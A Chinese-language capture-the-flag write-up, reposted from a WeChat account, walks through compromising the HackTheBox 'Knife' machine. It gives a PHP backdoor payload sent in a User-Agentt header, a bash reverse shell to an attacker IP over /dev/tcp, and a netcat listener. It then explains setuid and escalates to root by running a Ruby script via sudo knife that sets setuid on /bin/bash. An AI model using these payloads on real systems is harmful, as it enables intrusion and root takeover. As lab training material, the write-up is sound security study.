|
感谢群友@rural老哥的投稿,感谢分享 。在这篇文章详细记录了他打“HackTheBox-Knife”靶场的整个过程,希望大家能够从中有所收获。
首先连接openvpn实现访问到靶机
User-Agentt: zerodiumsystem("ifconfig");
bash -c 'exec bash -i &>/dev/tcp/10.10.14.3/4444 <&1'
nc -nvlp 4444
python -c 'import pty; pty.spawn("/bin/bash")'
sudo -l 可以知道我们了不用root密码来执行某些文件
setuid是类unix系统提供的一个标志位, 其实际意义是set一个process的euid为这个可执行文件或程序的拥有者(比如root)的uid, 也就是说当setuid位被设置之后, 当文件或程序(统称为executable)被执行时, 操作系统会赋予文件所有者的权限, 因为其euid是文件所有者的uid
setuid的方法是使用Linux的chmod指令,我们都习惯给予一个文件类似“0750” “0644” 之类的权限,它们的最高位0就是setuid的位置, 我们可以通过将其设为4来设置setuid位。(tips:设置为2为setgid,同setuid类似,即赋予文件所在组的权限)。
chmod 4750 文件名
or
chmod u+s 文件名
在这个命令执行之后, 我们再通过ls -l命令查看文件时, 可以发现文件owner权限的x 位变成了s ,这就说明setuid权限已经被设置, 之后任何user执行这个文件时(user需要有文件的执行权限), 都会以root的权限运行(此文件的owner为root)。所以,针对一个需要被很多user以root权限执行的文件, 我们可以通过setuid来进行操作, 这样就不必为所有user都添加sudo 命令。
原文链接:
https://blog.csdn.net/weixin_44575881/article/details/86552016
这边继续来提权,ruby执行命令方法exec,system,和%x。我们写一个赋予/bin/bash setuid的脚本
echo “system(‘chmod +s /bin/bash’)” > j.rb
sudo /usr/bin/knife exec j.rb 通过knife执行我们写的脚本
/bin/bash -p
推 荐 阅 读
欢 迎 私 下 骚 扰
本文始发于微信公众号(潇湘信安):HackTheBox-Knife靶场实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论